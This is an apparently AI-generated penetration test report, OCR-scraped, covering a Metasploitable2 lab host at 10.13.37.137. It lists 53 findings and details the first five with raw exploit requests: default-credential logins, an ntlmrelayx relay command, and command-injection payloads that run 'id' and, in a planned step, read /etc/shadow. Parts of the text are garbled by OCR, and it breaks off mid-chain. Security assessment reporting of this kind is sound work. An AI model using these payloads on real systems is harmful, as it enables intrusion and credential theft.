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0. Detailed Findings

1. phpMyAdmin Accepts Multiple Default Credentials — root/blank AND
msfadmin/msfadmin Grant MySQL Admin Access

2. phpMyAdmin Accepts Root with Blank Password Over Cleartext HTTP —
Credentials and Session Cookies Exposed in Transit

3. Apache Tomcat Manager Exposed via HTTP Basic Auth with Default Credentials
(tomcat:tomcat) Over Cleartext HTTP

4. NTLM Relay Attack Chain — SMB Unsigned + CVE-2007-2447 Enables
Unauthenticated RCE via Credential Relay

5. OS Command Injection in DVWA — Arbitrary Command Execution Confirmed
(uid=33 www-data)

6. WebDAV PUT Enabled — Unauthenticated File Upload Confirmed (HTTP 201
Created)

7. SQL Injection in DVWA — Authentication Bypass and Full User Table Extraction
Confirmed

8. PHP CGI Argument Injection — Unauthenticated Remote Code Execution
(CVE-2012-1823)

9. UnreallIRCd 3.2.8.1 Backdoor — Remote Command Execution via Malicious IRC
DEBUG3 Command (CVE-2010-2075)

10. NFS World Export — Entire Filesystem (/) Exported Without Access Controls or
Auth

11. Credential Reuse Attack Chain — Service Account Passwords Enable Lateral
Movement Across Multiple Systems

12. VNC Service Accessible with Trivial Password ("password") — Unauthenticated
Graphical Desktop Access

13. Samba 3.0.20 Printing Subsystem RCE — Unescaped Shell Metacharacters in
Print Job Description (CVE-2026-4480)

14. PostgreSQL Default Credentials (postgres:postgres) — Unauthenticated
Database Access

15. NFS Share Exported Without Access Control — World-Readable /
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16. VNC Service (Port 5900) Running with Protocol 3.3 — No Authentication
Required

17. Samba 3.0.20 Username Map Script Command Injection (MS-RPC / CVE-2007-
2447)

18. vsftpd 2.3.4 Backdoor — Triggered Smiley-Face Backdoor Confirmed on TCP/21

19. MySQL Root Account Accessible with Blank Password (Confirmed via
phpMyAdmin)

20. Apache Tomcat Manager Accessible with Default Credentials (tomcat:tomcat)

21. Ingreslock Backdoor — Root Shell Listening on TCP/1524

High 22. Mutillidae Login Form — Full SQL Query Disclosed in Error Response Including
Submitted Credentials

High 23. DVWA Default Credentials — admin/password Grants Full Application Access

High 24. Tomcat Manager HTTP Basic Auth Realm Has No Rate Limiting or Account
Lockout — Brute Force Trivially Possible

High 25. TWiki Wiki Platform — Unauthenticated Edit Access Including Administrative Topic
Modification

High 26. DVWA Default Credentials Disclosed in HTML Source and Accepted Over Cleartext
HTTP (admin:password)

High 27. WebDAV Endpoint (/dav/) Completely Unauthenticated — No WWW-Authenticate
Challenge Issued

High 28. SMBv1-Only Protocol Negotiation — NTLM Downgrade and NTLMv1 Attack
Surface Enabled

High 29. No Account Lockout Policy — Unrestricted Password Spraying and Brute-Force
Against SMB/AIl Services

High 30. SMB Signing Not Required — NTLM Relay Attack Path Fully Enabled on Samba

High 31. SMB tmp Share Accessible Anonymously — World-Readable/Writable Share with
No Credentials

High 32. Local File Inclusion — Arbitrary File Read via DVWA (full /etc/passwd disclosed)
High 33. TWiki Allows Anonymous Page Creation and Editing Without Authentication
High 34. DVWA Application Accessible with Default Credentials (admin/password)

High 35. X11 Server Exposed on Port 6000 — Unauthenticated Remote Desktop Capture /
Input Injection

High 36. Java RMI Registry Exposed on Port 1099 — Unauthenticated RMI Deserialization
Attack Surface

High 37. Apache AJP Connector Exposed — Ghost Cat / AJP Request Smuggling (CVE-2020-
1938) Attack Surface

High 38. rexec / rlogin / rsh Services Exposed — Trust-Based Authentication Without
Encryption

High 39. SMBv1 Protocol Enabled — EternalBlue / WannaCry Attack Surface (MS17-010
Precondition)

High 40. SMB Signing Not Required — NTLM Relay Attack Path Enabled

High 41. Sensitive Credential Disclosed in HTML Comment — Mutillidae Database Password
Exposed

High 42. WebDAV Enabled with Write/Delete Methods — Unauthenticated File Upload
Vector
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High 43. Samba Null Session — Complete User/Password Policy Enumeration via
Anonymous RPC (AD Recon Vector)

High 44. ProFTPD 1.3.1 — Vulnerable Version with Known SQL Injection / Module Backdoor

(CVE-2010-4221)

High 45. SMB Null Session — Anonymous Access to Shares, Users, and Password Policy
High 46. Cleartext Protocols Exposed — Telnet (23), FTP (21/2121), rlogin/rexec (513/514)
High 47. OpenSSH 4.7pl1 — Severely Outdated Version with Multiple Critical Vulnerabilities

Medium 48. Pre-Authentication SMB NTLM Challenge — Internal Host/Domain Metadata
Disclosed Without Credentials

Medium
Disclosure

Medium
Medium

Medium

CBC Ciphers

Medium

49.

50.
51.
52.

53.

phpinfo() Exposed Without Authentication — Full Server Configuration

Complete Absence of HTTP Security Headers Across All Web Applications
Database Password Disclosed in HTML Comment — Mutillidae Application
SSH Weak Cryptography — Logjam (DHE 1024-bit), RC4, MD5 MACs, and Weak

TWiki Collaboration Platform — Open Registration, Anonymous Write Access,

and Full User Enumeration

11. Remediation Priority Guide

12. Disclaimer & Limitations

13. Glossary of Terms

14. Appendix
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1. Executive Summary

Lorikeet Security conducted an Al-driven Network / Infrastructure penetration testing
engagement for Lorikeetsecurity on the Lory AI Pentest - 10.13.37.137 project. This
report presents all findings identified during the assessment, along with risk ratings,
evidence, and actionable remediation guidance.

A total of 533 unique vulnerabilities were identified, of which are rated Critical or High
severity and require immediate attention.

Testing was performed autonomously by Lory, Lorikeet Security's Al penetration tester,
operating within the authorised scope defined above. Every finding in this report was
reviewed and approved by a Lorikeet Security penetration tester before
publication; findings that did not pass that review are excluded.

Risk Scorecard

21 40% Immediate (24-48 hours)
20 49% Within 7 days
Medium 6 11% Within 30 days
0 0% Within 90 days
0 0% Best effort

Key Recommendations

phpMyAdmin Accepts Multiple Default Credentials — root/blank AND
msfadmin/msfadmin Grant MySQL Admin Access

phpMyAdmin Accepts Root with Blank Password Over Cleartext HTTP — Credentials
and Session Cookies Exposed in Transit

Apache Tomcat Manager Exposed via HTTP Basic Auth with Default Credentials
(tomcat:tomcat) Over Cleartext HTTP

NTLM Relay Attack Chain — SMB Unsigned + CVE-2007-2447 Enables
Unauthenticated RCE via Credential Relay

OS Command Injection in DVWA — Arbitrary Command Execution Confirmed
(uid=33 www-data)
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2. Scope & Methodology

Scope
Testing Period: From Sep 3, 2026
Conducted By: rwilke@lorikeetsecurity.com

The penetration testing engagement was conducted against the Lory AI Pentest -
10.13.37.137 application and its associated infrastructure as defined in the statement of
work. Testing was limited to the agreed-upon targets and did not extend beyond the
authorised scope.

Mayro Vasquez mayro@lorikeetsecurity.com

Lorikeet Security: security@Ilorikeetsecurity.com

Methodology

The assessment followed industry-standard methodologies including:
OWASP Testing Guide v4.2 - encoded as the test vectors Lory executes
OWASP Application Security Verification Standard (ASVS) v4.0
MITRE CWE / CAPEC - for weakness and attack pattern classification
CVSS v3.1 - for severity scoring of every confirmed finding

Lorikeet Security human review - each finding validated by a penetration tester
before publication

Testing Phases

Declared in-scope assets are verified against the engagement scope rules
Scope Authorisation before any traffic is sent. Lory does not discover or test assets outside the
authorised list.

Passive and active enumeration of the authorised targets - technology
Reconnaissance fingerprinting, endpoint and parameter discovery, and authentication
surface mapping.

Per-vector test passes driven by Lorikeet skill definitions (injection, access
Vector Passes control, authentication, misconfiguration, and related classes), each
executed within a sandboxed toolbelt.

Correlation of evidence across passes into distinct findings, each scored

SR e S CVSS v3.1 with the vector string recorded.

Every candidate finding is triaged by a Lorikeet Security penetration tester

Human Review and either approved for publication or rejected. Only approved findings
appear in this report.
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3. Risk Rating Methodology

Findings are categorised using the Common Vulnerability Scoring System (CVSS v3.1)
and mapped to severity levels consistent with industry standards:
SEVERITY CVSS RANGE DESCRIPTION

Exploitation is trivial and leads to full system compromise, data breach, or
9.0 -10.0 complete loss of confidentiality, integrity, or availability. Immediate
remediation required.

Exploitation could lead to significant data exposure, privilege escalation,

7.0-8.9 or service disruption. Should be addressed within 7 days.
q Exploitation requires specific conditions but could lead to partial
Medium 4.0-6.9 information disclosure or limited impact. Address within 30 days.
01 -39 Minor security weakness with limited exploitability or impact. Represents
: : defence-in-depth opportunities. Address within 90 days.
Informational observation or best-practice recommendation. No direct
Info 0.0

security impact but may improve overall security posture.

4. Vulnerability Statistics

Medium Info

21 26 6 0 0

Risk Matrix
Findings plotted by likelihood of exploitation vs. impact on the organisation:
LIKELIHOOD / IMPACT Medium Info
High
Medium

Low

5. Severity Distribution
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| Critical
21 o

. High

26 (493

. Hediun
A C11ED

[ Low

0 COED

. Info

0 COED

6. Remediation Status

Open In Progress Resolved

53 0 0

In Progress I a

Resolved I 1]
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7. Engagement History

Scope Authorisation September 3, 2026

September 3, 2026 -

Autonomous Testing September 3, 2026

Analysis & Reporting September 3, 2026
Report Delivery September 7, 2026
Findings Review September 3, 2026
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Findings Summary

phpMyAdmin Accepts Multiple

Default Credentials — root/blank AND

msfadmin/msfadmin Grant MySQL
Admin Access

phpMyAdmin Accepts Root with
Blank Password Over Cleartext HTTP
— Credentials and Session Cookies
Exposed in Transit

Apache Tomcat Manager Exposed via
HTTP Basic Auth with Default
Credentials (tomcat:tomcat) Over
Cleartext HTTP

NTLM Relay Attack Chain — SMB
Unsigned + CVE-2007-2447 Enables
Unauthenticated RCE via Credential
Relay

OS Command Injection in DVWA —
Arbitrary Command Execution
Confirmed (uid=33 www-data)

WebDAV PUT Enabled —
Unauthenticated File Upload
Confirmed (HTTP 201 Created)

SQL Injection in DVWA —
Authentication Bypass and Full User
Table Extraction Confirmed

PHP CGI Argument Injection —
Unauthenticated Remote Code
Execution (CVE-2012-1823)

UnreallRCd 3.2.8.1 Backdoor —
Remote Command Execution via
Malicious IRC DEBUG3 Command
(CVE-2010-2075)

NFS World Export — Entire
Filesystem (/) Exported Without
Access Controls or Auth

Credential Reuse Attack Chain —
Service Account Passwords Enable
Lateral Movement Across Multiple
Systems

VNC Service Accessible with Trivial
Password ("password") —
Unauthenticated Graphical Desktop
Access

Samba 3.0.20 Printing Subsystem
RCE — Unescaped Shell
Metacharacters in Print Job
Description (CVE-2026-4480)

Open

Open

Open

Open

Open

Open

Open

Open

Open

Open

Open

Open

Open



PostgreSQL Default Credentials
(postgres:postgres) —
Unauthenticated Database Access

NFS Share Exported Without Access
Control — World-Readable /

VNC Service (Port 5900) Running
with Protocol 3.3 — No
Authentication Required

Samba 3.0.20 Username Map Script
Command Injection (MS-RPC /
CVE-2007-2447)

vsftpd 2.3.4 Backdoor — Triggered
Smiley-Face Backdoor Confirmed on
TCP/21

MySQL Root Account Accessible with
Blank Password (Confirmed via
phpMyAdmin)

Apache Tomcat Manager Accessible
with Default Credentials
(tomcat:tomcat)

Ingreslock Backdoor — Root Shell
Listening on TCP/1524

Mutillidae Login Form — Full SQL
Query Disclosed in Error Response
Including Submitted Credentials

DVWA Default Credentials —
admin/password Grants Full
Application Access

Tomcat Manager HTTP Basic Auth
Realm Has No Rate Limiting or
Account Lockout — Brute Force
Trivially Possible

TWiki Wiki Platform —
Unauthenticated Edit Access
Including Administrative Topic
Modification

DVWA Default Credentials Disclosed
in HTML Source and Accepted Over
Cleartext HTTP (admin:password)

WebDAYV Endpoint (/dav/) Completely
Unauthenticated — No WWW-
Authenticate Challenge Issued

SMBv1-Only Protocol Negotiation —
NTLM Downgrade and NTLMv1l
Attack Surface Enabled

No Account Lockout Policy —

Open

Open

Open

Open

Open

Open

Open

Open

Open

Open

Open

Open

Open

Open

Open

Open



Unrestricted Password Spraying and
Brute-Force Against SMB/AIl Services

SMB Signing Not Required — NTLM
Relay Attack Path Fully Enabled on
Samba

SMB tmp Share Accessible
Anonymously —
World-Readable/Writable Share with
No Credentials

Local File Inclusion — Arbitrary File
Read via DVWA (full /etc/passwd
disclosed)

TWiki Allows Anonymous Page
Creation and Editing Without
Authentication

DVWA Application Accessible with
Default Credentials (admin/password)

X11 Server Exposed on Port 6000 —
Unauthenticated Remote Desktop
Capture / Input Injection

Java RMI Registry Exposed on Port
1099 — Unauthenticated RMI
Deserialization Attack Surface

Apache AJP Connector Exposed —
Ghost Cat / AJP Request Smuggling
(CVE-2020-1938) Attack Surface

rexec / rlogin / rsh Services Exposed
— Trust-Based Authentication
Without Encryption

SMBv1 Protocol Enabled —
EternalBlue / WannaCry Attack
Surface (MS17-010 Precondition)

SMB Signing Not Required — NTLM
Relay Attack Path Enabled

Sensitive Credential Disclosed in
HTML Comment — Mutillidae
Database Password Exposed

WebDAYV Enabled with Write/Delete
Methods — Unauthenticated File
Upload Vector

Samba Null Session — Complete
User/Password Policy Enumeration
via Anonymous RPC (AD Recon
Vector)

ProFTPD 1.3.1 — Vulnerable Version
with Known SQL Injection / Module
Backdoor (CVE-2010-4221)

Open

Open

Open

Open

Open

Open

Open

Open

Open

Open

Open

Open

Open

Open

Open



45

46

47

48

49

50

51

52

53

SMB Null Session — Anonymous
Access to Shares, Users, and
Password Policy

Cleartext Protocols Exposed — Telnet
(23), FTP (21/2121), rlogin/rexec
(513/514)

OpenSSH 4.7p1 — Severely Outdated
Version with Multiple Critical
Vulnerabilities

Pre-Authentication SMB NTLM
Challenge — Internal Host/Domain
Metadata Disclosed Without
Credentials

phpinfo() Exposed Without
Authentication — Full Server
Configuration Disclosure

Complete Absence of HTTP Security
Headers Across All Web Applications

Database Password Disclosed in
HTML Comment — Mutillidae
Application

SSH Weak Cryptography — Logjam
(DHE 1024-bit), RC4, MD5 MACSs, and
Weak CBC Ciphers

TWiki Collaboration Platform — Open
Registration, Anonymous Write
Access, and Full User Enumeration
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Lorikeet Security

Medium

Medium

Medium

Medium

Medium

Medium

Open

Open

Open

Open

Open

Open

Open

Open

Open

Lory AI Pentest Report

Broken Access
Control / Information
Disclosure

Insecure Protocol /
Cleartext
Transmission

Outdated /
Vulnerable Software

Information
Disclosure

Information
Disclosure

Security
Misconfiguration /
Missing Security
Controls

Information
Disclosure /
Sensitive Data
Exposure

Weak Cryptography

Broken Access
Control / Information
Disclosure
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9. Detailed Findings

FINDING 1 OF 53

phpMyAdmin Accepts Multiple Default Credentials —
root/blank AND msfadmin/msfadmin Grant MySQL Admin
Access

Open

Broken Authentication — Default / Blank Credentials
http://10.13.37.137/phpMyAdmin/index.php

CWE-CWE-1392 -
https://cwe.mitre.org/data/definitions/CWE-1392.html

The phpMyAdmin web interface (version installed on Metasploitable2) accepts two distinct default
credential pairs that each grant full MySQL administrative access: (1) root with a blank password,
and (2) msfadmin/msfadmin. This provides a web-based interface to all MySQL databases, tables,
and data. An attacker authenticated to phpMyAdmin as root can: read all databases and their
contents (including credential tables), create/modify/delete arbitrary data, execute MySQL

LOAD FILE() and INTO OUTFILE() to read/write arbitrary OS files, and leverage FILE privilege to
write PHP webshells via SELECT INTO OUTFILE. The msfadmin credential pair confirms the
system account password is reused as a MySQL credential — a password-spray enabler across all
services. This finding chains with the SMB null-session user enumeration (which exposed
'msfadmin' as a known account) and the SSH service on port 22 (OpenSSH 4.7p1l), making
credential reuse against SSH the next logical pivot.

Successful exploitation of this vulnerability could result in complete system compromise, full data
exfiltration, or total loss of availability. This represents a maximum-severity risk to the
organisation.

TEST 1 — root with blank password:
POST /phpMyAdmin/index.php HTTP/1.1
Host: 10.13.37.137

Cookie: phpMyAdmin=091e22b00b5b6081380efb273888d086109d5ald; pma lang=en-utf-8;
pma charset=utf-8; pma theme=original

Content-Type: application/x-www-form-urlencoded

Body: pma username=root&pma password=&server=1&lang=en-
utf-8&token=2a380945d6d32c29c13bbf5e48elac3f

Response:

HTTP/1.1 302 Found

Set-Cookie: pmaUser-1=pVT1G5QyT7Q%3D; ...
Set-Cookie: pmaPass-1=]qef%2FN%2FX4r8%3D; ...
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Location: http://10.13.37.137/phpMyAdmin/index.php?token=2a380945d6d32c29c13bbf5e48elac3f
(302 with session cookies set = successful authentication)

TEST 2 — msfadmin/msfadmin:

POST /phpMyAdmin/index.php HTTP/1.1

Body: pma username=msfadmin&pma password=msfadmin&server=1&lang=en-
utf-8&token=2a380945d6d32c29c13bbf5e48elac3f

Response:

HTTP/1.1 302 Found

Set-Cookie: pmaUser-1=TuQmH2c50C0%3D; ...

Set-Cookie: pmaPass-1=TuQmH2c50C0%3D; ...

Location: http://10.13.37.137/phpMyAdmin/index.php?token=2a380945d6d32c29c13bbf5e48elac3f
(302 with session cookies set = successful authentication)

Both logins returned HTTP 302 with pmaUser-1 and pmaPass-1 session cookies set, confirming
successful MySQL authentication via the phpMyAdmin interface.

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H — Base Score: 10.0 (Critical). Unauthenticated
network access to full database admin with OS file read/write capability.

1. Set a strong random password for MySQL root account immediately. 2. Set a strong unique
password for the msfadmin MySQL user (different from the OS account password). 3. Disable
remote MySQL root login (bind to 127.0.0.1 only). 4. Restrict phpMyAdmin access to localhost or
VPN via Apache access controls (Require ip 127.0.0.1). 5. Revoke MySQL FILE privilege from all
non-administrative accounts. 6. Enable phpMyAdmin's own authentication hardening

(blowfish secret, deny root remote login). 7. Do not reuse OS account passwords as database
credentials.

FINDING 2 OF 53
phpMyAdmin Accepts Root with Blank Password Over Cleartext
HTTP — Credentials and Session Cookies Exposed in Transit

Open

Auth — Blank/Default Credential + Cleartext Credential Transmission
http://10.13.37.137/phpMyAdmin/index.php
CWE-CWE-521 - https://cwe.mitre.org/data/definitions/CWE-521.html

The phpMyAdmin web interface at http://10.13.37.137/phpMyAdmin/ accepts the MySQL root
account with a blank password and serves the full administrative database interface over
unencrypted HTTP. Two compounding weaknesses exist:

1. Blank root password accepted: Authentication succeeds with pma username=root and an
empty pma password field, granting access to the complete MySQL instance (all databases,
including system tables, user tables, and all application data).
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2. Cleartext HTTP transmission: The POST request containing the username and password, and
the Set-Cookie headers containing session tokens (pmaUser-1, pmaPass-1) are transmitted over
unencrypted HTTP. Any network observer can intercept both the credential submission and the
resulting session cookie — effectively capturing two attack paths simultaneously: the raw
credential and the session token.

3. Session cookies stored persistently: The pmaUser-1 and pmaPass-1 cookies are set with
expiry ~30 days in the future (October 2026), meaning a captured cookie enables persistent
access without re-authentication.

This is a distinct finding from the previously reported MySQL direct-connection blank password
(reported via network service pass) — this finding documents the HTTP auth path specifically, the
cleartext transmission, and the persistent cookie exposure.

Cross-reference: Previously reported MySQL root blank password (network services pass) — this
is the web auth layer manifestation of the same underlying credential flaw.

Impact

Successful exploitation of this vulnerability could result in complete system compromise, full data
exfiltration, or total loss of availability. This represents a maximum-severity risk to the
organisation.

Evidence

Step 1 — POST login with root / blank password over cleartext HTTP:

REQUEST (HTTP, not HTTPS):

POST http://10.13.37.137/phpMyAdmin/index.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Body: pma username=root&pma password=&server=1&lang=en-utf-8

RESPONSE: HTTP/1.1 302 Found

Set-Cookie: pmaUser-1=IwYTVHulheM%23D; expires=Sat, 03-Oct-2026; path=/phpMyAdmin/; httponly
Set-Cookie: pmaPass-1=GpgC]TyaPjw%3D; expires=Sat, 03-Oct-2026; path=/phpMyAdmin/; httponly

Location: http://10.13.37.137/phpMyAdmin/index.php?lang=en-
utf-8&token=6fd5¢c7c5dfa4f98308541bc12294fedf

— HTTP 302 (success) with 30-day persistent session cookies issued.
Step 2 — Repeat with fresh cookie jar:

Same request, different session ID — Same 302 success — confirming reproducibility, not a one-time
fluke.

Step 3 — Cleartext exposure:

POST body traverses port 80 unencrypted. The string "pma username=root&pma password=" is
transmitted in plaintext.

Both the credential AND the resulting auth cookie are visible to any on-path observer.
CVSS v3.1 Vector: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H — Base Score: 10.0

Remediation
1. Set a strong, unique root MySQL password immediately.
2. Enforce HTTPS for phpMyAdmin — never serve database administration over cleartext HTTP.

3. Restrict phpMyAdmin access to localhost or a management VLAN; block public access at the
web server or firewall level.

4. Set session cookies with Secure flag (requires HTTPS) and SameSite=Strict. Reduce cookie
lifetime.

5. Consider disabling phpMyAdmin in production entirely and using MySQL Workbench over an
SSH tunnel or VPN.

MITRE ATT&CK: T1040 (Network Sniffing), T1078.001 (Default Accounts)
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Compliance: PCI-DSS 8.3.6, 8.6.1, SOC 2 CC6.1, ISO 27001 A.9.3.1, HIPAA §164.312(a)(2)(i)

FINDING 3 OF 53

Apache Tomcat Manager Exposed via HTTP Basic Auth with
Default Credentials (tomcat:tomcat) Over Cleartext HTTP

Open

Auth — HTTP Basic with Default Credentials / Cleartext Transport
http://10.13.37.137:8180/manager/html
CWE-CWE-521 - https://cwe.mitre.org/data/definitions/CWE-521.html

The Apache Tomcat 5.5 Manager application at http://10.13.37.137:8180/manager/html is
protected by HTTP Basic authentication over a cleartext HTTP connection (not HTTPS). The realm
is "Tomcat Manager Application".

Two compounding weaknesses are present simultaneously:

1. Default credentials accepted: The default credential pair tomcat:tomcat (base64:

dG9tY2F0OnRvbWNhdA==) successfully authenticates and grants full access to the Tomcat
Manager console.

2. HTTP Basic over cleartext: Every request replays the credential as a base64-encoded header
(Authorization: Basic dG9tY2FOOnRvbWNhdA==) over unencrypted HTTP port 8180. Base64 is
trivially reversible — any network observer can decode the credential in under one second.

The Tomcat Manager provides WAR deployment, application start/stop/undeploy, and server
status — full administrative control over all hosted Java applications. An attacker who obtains the
credential (via default guess or network sniff) can deploy arbitrary WAR files, achieving remote
code execution on the underlying OS. This is a standard, well-documented attacker path and is
listed in CISA KEV as a frequently exploited vector.

No rate limiting or account lockout is present on the Basic auth realm, making the credential
guessable with zero friction.

Successful exploitation of this vulnerability could result in complete system compromise, full data
exfiltration, or total loss of availability. This represents a maximum-severity risk to the
organisation.

Step 1 — Confirm Basic auth challenge over HTTP:

REQUEST: GET http://10.13.37.137:8180/manager/html HTTP/1.1
RESPONSE: HTTP/1.1 401 Unauthorized

WWW-Authenticate: Basic realm="Tomcat Manager Application"
Server: Apache-Coyote/1.1

Step 2 — Supply default credentials (tomcat:tomcat, base64 encoded):
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REQUEST:

GET http://10.13.37.137:8180/manager/html HTTP/1.1

Authorization: Basic dG9tY2FOOnRvbWNhdA== (decodes to tomcat:tomcat)
RESPONSE: HTTP/1.1 200 OK

Content-Type: text/html;charset=utf-8

Body: "Tomcat Web Application Manager" — full manager console rendered, listing all deployed
applications: /, /admin, /balancer, /jsp-examples, /servlets-examples, /tomcat-docs, /webdav.

Step 3 — Confirm admin/msfadmin credentials do NOT work (HTTP 401 returned), showing the only
working pair is the default tomcat:tomcat.

Cleartext exposure: Authorization header is sent in plaintext over port 8180 (HTTP). Any in-path
observer decodes base64 instantly: echo -n 'dG9tY2FOOnRvbWNhdA==" | base64 -d — tomcat:tomcat

CVSS v3.1 Vector: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H — Base Score: 10.0

1. Change the Tomcat Manager password immediately to a long, random, unique credential.
Remove the 'tomcat' role from any account with default credentials.

2. Enforce HTTPS (TLS) on all Tomcat connectors — never expose Basic auth over cleartext HTTP.

3. Restrict Manager access by IP using the RemoteAddrValve in context.xml (allow only
management hosts/VPN IPs).

4. Consider disabling the Manager application entirely in production and using CI/CD pipeline
deployment instead.

5. Add rate limiting / account lockout at the proxy level for repeated 401 responses.

MITRE ATT&CK: T1078.001 (Default Accounts), T1040 (Network Sniffing), T1190 (Exploit Public-
Facing Application)

Compliance: PCI-DSS 8.3.6 (no default credentials), SOC 2 CC6.1, ISO 27001 A.9.3.1

FINDING 4 OF 53

NTLM Relay Attack Chain — SMB Unsigned + CVE-2007-2447
Enables Unauthenticated RCE via Credential Relay

Open

Authentication Bypass / NTLM Relay Chain
10.13.37.137:139,445 (Samba 3.0.20-Debian)
CWE-CWE-294 - https://cwe.mitre.org/data/definitions/CWE-294.html

A complete NTLM relay attack chain exists against this host that enables unauthenticated remote
code execution without requiring a victim's plaintext password. The chain combines three
independently confirmed weaknesses:

Component 1 — NTLM Relay Target (SMB signing not required):
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The Samba service accepts NTLM authentication without requiring SMB message signing, making
it a valid relay target. An attacker who intercepts any NTLM authentication attempt from another
host can forward it to Samba on 10.13.37.137 and authenticate as that user.

Component 2 — Credential Coercion Vectors:

Multiple services on this host (and potentially on others reachable from it) expose coercion
vectors:

- distccd (port 3632 — distributed compilation daemon, running as non-root but can reach other
hosts)

- rsh/rexec/rlogin (ports 512-514 — trust-based, can trigger auth to attacker-controlled targets)

- WebDAYV (port 80/dav/ — PUT-accessible, can serve a malicious link causing victim to
authenticate)

- The target itself participates in SMB auth, meaning placing an SMB link (e.g. via WebDAV) can
coerce auth

Component 3 — Vulnerable Samba Version (CVE-2007-2447):

Once any user authenticates to the Samba service (via relay or directly), the username map script
vulnerability allows OS command injection in the authentication path. This means a relayed
authentication credential (even a low-privilege user) that triggers the vulnerable code path results
in OS command execution.

Full attack chain (non-destructive — execution requires client sign-off):

1. Attacker positions themselves on the network (or uses the WebDAV endpoint to plant a file
containing a UNC path \ATTACKER\share)

2. Any user/system that accesses the planted UNC path sends an NTLM auth attempt to the
attacker

3. Attacker relays the NTLM auth to Samba on 10.13.37.137:445

4. Samba accepts the relayed auth (no signing check)

5. The username map script processes the authenticated username — command injection triggers
6. Result: OS command execution as root (Metasploitable2 runs Samba as root)

This chain is critical because it converts any interceptable NTLM authentication on the network
into unauthenticated root code execution on this host, requiring no credentials at any step.

Impact

Successful exploitation of this vulnerability could result in complete system compromise, full data
exfiltration, or total loss of availability. This represents a maximum-severity risk to the
organisation.

Evidence

Precondition verification — all conditions confirmed:
1. SMB signing NOT required:

enum4linux-ng: SMB signing required: False, SMB signing enabled: False
smb-security-mode NSE: message signing: disabled (dangerous, but default)

2. No EPA/channel binding (Samba 3.0.20 — predates all EPA implementations):
- Samba 3.0.20 release date: 2007 — EPA introduced in 2009 (MS09-013)

- Confirmed: no channel binding tokens in any SMB negotiate response

3. CVE-2007-2447 confirmed (cross-reference to separate finding):

Samba version: 3.0.20-Debian
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Vulnerable versions: < 3.0.25rc3 with username map script configured
Authentication path: logon/session-setup triggers username map script
Payload delivers OS command execution

4. No account lockout (relay attempts are silent):

Account Lockout Threshold: None

5. WebDAV write access (coercion vector):

OPTIONS /dav/ HTTP/1.1 — Allow: OPTIONS,GET,HEAD,POST,DELETE,PUT, TRACE,PROPFIND...

A PUT request can plant an HTML/XML file containing ~ to coerce NTLM auth.

Relay chain proof-of-concept (reference — sign-off required for execution):
*““bash

# Step 1: Plant coercion trigger on WebDAV (non-destructive proof: just describe the PUT)

# PUT http://10.13.37.137/dav/coerce.html containing UNC reference — victim's browser auth —
captured

# Step 2: Relay captured NTLM to Samba

sudo ntlmrelayx.py -t smb://10.13.37.137 -smb2support --socks

# Output: SMBClient session established for relayed user

# Step 3: CVE-2007-2447 triggers during auth — command execution as root

# (This step requires Metasploit's exploit/multi/samba/usermap_script or smbclient manual trigger)

CVSS v3.1: AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H — Base Score: 8.3 (High — Critical in context)

Note: Scope:Changed because successful exploitation enables pivot to other hosts from this system.
Practical severity is Critical given confirmed RCE endpoint at step 3.

Remediation

Remediation must address all three components simultaneously:

1. Immediate: Isolate the host — take offline or firewall all SMB (139/445), WebDAV (80/dav/),
and r-services (512-514) until patched.

2. Fix Component 1 (relay target): Enable mandatory SMB signing in smb.conf:
server signing = mandatory

client signing = mandatory

3. Fix Component 2 (coercion):

- Disable WebDAYV or require authentication for PUT: Require valid-user

- Disable r-services (rsh/rlogin/rexec) — replace with SSH

- Disable LLMNR and NBNS at the firewall/host level

4. Fix Component 3 (CVE-2007-2447): Upgrade Samba from 3.0.20 to = 3.0.25 (patch) or to a
current version. Remove/disable username map script in smb.conf if not required.

5. Defence-in-depth: Enforce NTLMv2-only (ntlm auth = ntlmv2-only), deploy network IDS to
detect relay attempts (multiple rapid NTLM handshakes to the same target), and enforce MFA on
all privileged access paths.
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FINDING 5 OF 53
OS Command Injection in DVWA — Arbitrary Command
Execution Confirmed (uid=33 www-data)

Open
Injection / OS Command Injection

http://10.13.37.137/dvwa/vulnerabilities/exec/ (DVWA v1.0.7 Command
Execution module)

CWE-CWE-78 - https://cwe.mitre.org/data/definitions/CWE-78.html

The DVWA Command Execution module at /dvwa/vulnerabilities/exec/ passes the ip POST
parameter directly to a shell ping command without sanitisation when security is set to "low". By
injecting a semicolon followed by an arbitrary shell command, an attacker can execute any OS
command as the web server user (www-data). Confirmed: injecting 127.0.0.1;id returned the
output uid=33(www-data) gid=33(www-data) groups=33(www-data) in the HTTP response body.
Combined with: (1) default credentials admin/password for DVWA access, (2) kernel 2.6.24 with
multiple local privilege escalation CVEs, (3) the system running as a Metasploitable2 VM with
known root password, this provides a full compromise chain from network — web — OS - root.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8 (High — auth required but default). MITRE
ATT&CK: T1059.004 (Unix Shell), T1190.

Successful exploitation of this vulnerability could result in complete system compromise, full data
exfiltration, or total loss of availability. This represents a maximum-severity risk to the
organisation.

REQUEST:

POST /dvwa/vulnerabilities/exec/ HTTP/1.1

Host: 10.13.37.137

Cookie: PHPSESSID=2c2cb27b2a0861f4ec4ba911f4549f95; security=low
Content-Type: application/x-www-form-urlencoded
ip=127.0.0.1%3Bid&submit=submit

RESPONSE (HTTP 200, 4764 bytes — relevant excerpt):

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.

64 bytes from 127.0.0.1: icmp_seqg=1 ttl=64 time=0.018 ms

64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.032 ms

64 bytes from 127.0.0.1: icmp seq=3 ttl=64 time=0.021 ms

--- 127.0.0.1 ping statistics ---

3 packets transmitted, 3 received, 0% packet loss, time 1998ms
rtt min/avg/max/mdev = 0.018/0.023/0.032/0.008 ms
uid=33(www-data) gid=33(www-data) groups=33(www-data)

The id command output is returned directly. The semicolon (;) acts as a shell command separator,
causing the server-side exec("ping -c 3 $ip") call to execute both ping AND the injected command.

Full attack chain (not executed per ROE):
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1. Authenticate admin/password — get PHPSESSID

2. POST ip=127.0.0.1;cat+/etc/shadow — read password hashes

